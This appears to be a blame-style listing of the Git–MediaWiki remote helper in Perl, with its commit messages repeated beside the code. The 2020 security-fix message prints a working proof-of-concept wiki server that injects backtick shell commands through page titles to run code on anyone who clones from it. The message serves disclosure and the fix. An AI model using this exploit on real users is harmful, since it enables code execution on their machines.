Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
#! /usr/bin/perl
|
|
|
|
|
|
|
|
# Copyright (C) 2011
|
|
|
|
# Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
|
|
|
|
# Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
|
|
|
|
# Claire Fousse <claire.fousse@ensimag.imag.fr>
|
|
|
|
# David Amouyal <david.amouyal@ensimag.imag.fr>
|
|
|
|
# Matthieu Moy <matthieu.moy@grenoble-inp.fr>
|
|
|
|
# License: GPL v2 or later
|
|
|
|
|
|
|
|
# Gateway between Git and MediaWiki.
|
2020-09-16 12:29:04 +02:00
|
|
|
# Documentation & bugtracker: https://github.com/Git-Mediawiki/Git-Mediawiki
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
|
|
|
|
use strict;
|
|
|
|
use MediaWiki::API;
|
2013-06-05 12:58:00 +02:00
|
|
|
use Git;
|
2013-07-04 22:38:58 +02:00
|
|
|
use Git::Mediawiki qw(clean_filename smudge_filename connect_maybe
|
|
|
|
EMPTY HTTP_CODE_OK);
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
use DateTime::Format::ISO8601;
|
2013-06-14 15:50:10 +02:00
|
|
|
use warnings;
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
|
2012-06-27 11:10:17 +02:00
|
|
|
# By default, use UTF-8 to communicate with Git and the user
|
2013-06-14 15:50:30 +02:00
|
|
|
binmode STDERR, ':encoding(UTF-8)';
|
|
|
|
binmode STDOUT, ':encoding(UTF-8)';
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
|
|
|
|
use URI::Escape;
|
|
|
|
|
|
|
|
# It's not always possible to delete pages (may require some
|
2013-04-12 00:36:10 +02:00
|
|
|
# privileges). Deleted pages are replaced with this content.
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
use constant DELETED_CONTENT => "[[Category:Deleted]]\n";
|
|
|
|
|
|
|
|
# It's not possible to create empty pages. New empty files in Git are
|
|
|
|
# sent with this content instead.
|
|
|
|
use constant EMPTY_CONTENT => "<!-- empty page -->\n";
|
|
|
|
|
|
|
|
# used to reflect file creation or deletion in diff.
|
2013-06-14 15:50:30 +02:00
|
|
|
use constant NULL_SHA1 => '0000000000000000000000000000000000000000';
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
|
2012-07-16 14:00:47 +02:00
|
|
|
# Used on Git's side to reflect empty edit messages on the wiki
|
|
|
|
use constant EMPTY_MESSAGE => '*Empty MediaWiki Message*';
|
|
|
|
|
2013-06-14 15:50:34 +02:00
|
|
|
# Number of pages taken into account at once in submodule get_mw_page_list
|
|
|
|
use constant SLICE_SIZE => 50;
|
|
|
|
|
|
|
|
# Number of linked mediafile to get at once in get_linked_mediafiles
|
|
|
|
# The query is split in small batches because of the MW API limit of
|
|
|
|
# the number of links to be returned (500 links max).
|
|
|
|
use constant BATCH_SIZE => 10;
|
|
|
|
|
2013-06-11 15:38:48 +02:00
|
|
|
if (@ARGV != 2) {
|
|
|
|
exit_error_usage();
|
|
|
|
}
|
|
|
|
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
my $remotename = $ARGV[0];
|
|
|
|
my $url = $ARGV[1];
|
|
|
|
|
|
|
|
# Accept both space-separated and multiple keys in config file.
|
|
|
|
# Spaces should be written as _ anyway because we'll use chomp.
|
remote-mediawiki: convert to quoted run_git() invocation
Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.
This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.
The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:
[...]"title":"`id>/tmp/mw`:Main Page"[..]
Would result in an invocation of:
git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"
>From code such as this, which is being changed by this patch:
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.
About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):
1. The mediawiki helper has never been shipped as part of an
official Git for Windows version. Neither has it ever been part
of an official MSYS2 package. Which means that Windows users
who want to use the mediawiki helper have to build Git
themselves, which not many users seem to do.
2. The last Git for Windows version to ship with Perl v5.22.x was
Git for Windows v2.11.1; Since Git for Windows
v2.12.0 (released on February 25th, 2017), only newer Perl
versions were included.
So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.
For further reference and future testing, here's working exploit code
provided by Joern:
#!/usr/bin/ruby
# git client side RCE via `mediawiki` remote proof of concept
# Joern Schneeweisz - GitLab Security Research Team
require 'sinatra'
set bind: '0.0.0.0'
if not ARGV[0]
puts "Please provide the shell command to be execucted."
exit -1
end
cmd = ARGV[0]
all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)
post '/api.php' do
if params[:list] == 'allpages'
return all_pages
end
if params[:prop] == 'revisions'
return revs
end
return mainpage
end
Which:
[...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when
being cloned with `git clone mediawiki::http://localhost:4567` the
file `/tmp/mw` will be created during the clone process,
containing the output of `id`.
1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command
2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens
Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:39:58 +02:00
|
|
|
my @tracked_pages = split(/[ \n]/, run_git_quoted(["config", "--get-all", "remote.${remotename}.pages"]));
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
chomp(@tracked_pages);
|
|
|
|
|
|
|
|
# Just like @tracked_pages, but for MediaWiki categories.
|
remote-mediawiki: convert to quoted run_git() invocation
Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.
This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.
The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:
[...]"title":"`id>/tmp/mw`:Main Page"[..]
Would result in an invocation of:
git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"
>From code such as this, which is being changed by this patch:
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.
About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):
1. The mediawiki helper has never been shipped as part of an
official Git for Windows version. Neither has it ever been part
of an official MSYS2 package. Which means that Windows users
who want to use the mediawiki helper have to build Git
themselves, which not many users seem to do.
2. The last Git for Windows version to ship with Perl v5.22.x was
Git for Windows v2.11.1; Since Git for Windows
v2.12.0 (released on February 25th, 2017), only newer Perl
versions were included.
So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.
For further reference and future testing, here's working exploit code
provided by Joern:
#!/usr/bin/ruby
# git client side RCE via `mediawiki` remote proof of concept
# Joern Schneeweisz - GitLab Security Research Team
require 'sinatra'
set bind: '0.0.0.0'
if not ARGV[0]
puts "Please provide the shell command to be execucted."
exit -1
end
cmd = ARGV[0]
all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)
post '/api.php' do
if params[:list] == 'allpages'
return all_pages
end
if params[:prop] == 'revisions'
return revs
end
return mainpage
end
Which:
[...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when
being cloned with `git clone mediawiki::http://localhost:4567` the
file `/tmp/mw` will be created during the clone process,
containing the output of `id`.
1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command
2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens
Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:39:58 +02:00
|
|
|
my @tracked_categories = split(/[ \n]/, run_git_quoted(["config", "--get-all", "remote.${remotename}.categories"]));
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
